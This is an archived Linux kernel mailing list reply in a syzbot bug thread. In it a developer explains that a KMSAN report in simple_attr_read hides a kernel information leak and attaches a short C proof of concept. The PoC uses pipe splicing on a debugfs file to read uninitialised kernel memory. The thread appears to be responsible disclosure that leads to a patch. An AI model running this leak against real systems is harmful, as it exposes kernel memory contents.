From: Alexander Potapenko <glider@google.com>
To: syzbot <syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com>,
Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
"Rafael J. Wysocki" <rafael@kernel.org>,
Arnd Bergmann <arnd@arndb.de>
Cc: linux-fsdevel@vger.kernel.org,
LKML <linux-kernel@vger.kernel.org>,
syzkaller-bugs <syzkaller-bugs@googlegroups.com>,
Al Viro <viro@zeniv.linux.org.uk>
Subject: Re: KMSAN: uninit-value in simple_attr_read
Date: Wed, 4 Mar 2020 15:36:18 +0100 [thread overview]
Message-ID: <CAG_fn=WvVp7Nxm5E+1dYs4guMYUV8D1XZEt_AZFF6rAQEbbAeg@mail.gmail.com> (raw)
In-Reply-To: <CAG_fn=XWOjiLY8KON5VdieOVpWdnbtMqo2v8TZ1f04+4777J=g@mail.gmail.com>
[-- Attachment #1: Type: text/plain, Size: 406 bytes --]
Hi Greg, Rafael, Arnd,
> This report says it's uninit in strlen, but there's actually an
> information leak later on that lets the user read arbitrary data past
> the non-terminated attr->get_buf.
The attached PoC demonstrates the problem.
I am not sure how bad is that, given that /sys/kernel/debug is usually
accessible only to the root, and simple attribute files don't seem to
be used anywhere else.
[-- Attachment #2: simple_attr_read-leak.c --]
[-- Type: text/x-csrc, Size: 741 bytes --]
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define BUF_SIZE 128
int main(int argc, char *argv[])
{
char buf[BUF_SIZE];
const char def_filename[] = "/sys/kernel/debug/bluetooth/6lowpan_enable";
char *filename = (char *)def_filename;
int pipefd[2], dfs_fd;
struct iovec iov;
if (argc > 1)
filename = argv[1];
pipe(pipefd);
iov.iov_base = mmap(NULL, 0x1000, 3, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
iov.iov_len = 0x1;
vmsplice(pipefd[1], &iov, 1, 1);
dfs_fd = open(filename, O_RDWR);
splice(pipefd[0], 0, dfs_fd, 0, 0x1, SPLICE_F_NONBLOCK);
memset(buf, 0, BUF_SIZE);
read(dfs_fd, buf, BUF_SIZE);
printf("'%s'\n", buf);
return 0;
}
next prev parent reply other threads:[~2020-03-04 14:36 UTC|newest]
Thread overview: 9+ messages / expand[flat|nested] mbox.gz Atom feed top
2020-02-27 9:29 KMSAN: uninit-value in simple_attr_read syzbot
2020-02-27 11:57 ` Alexander Potapenko
2020-03-04 14:36 ` Alexander Potapenko [this message]
2020-03-08 2:38 ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers
2020-03-13 16:45 ` Eric Biggers
2020-03-18 16:39 ` Eric Biggers
2020-03-22 3:56 ` Eric Biggers
2020-03-24 12:13 ` Greg KH
2020-03-22 16:57 ` Kees Cook
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to='CAG_fn=WvVp7Nxm5E+1dYs4guMYUV8D1XZEt_AZFF6rAQEbbAeg@mail.gmail.com' \
--to=glider@google.com \
--cc=arnd@arndb.de \
--cc=gregkh@linuxfoundation.org \
--cc=linux-fsdevel@vger.kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=rafael@kernel.org \
--cc=syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com \
--cc=syzkaller-bugs@googlegroups.com \
--cc=viro@zeniv.linux.org.uk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).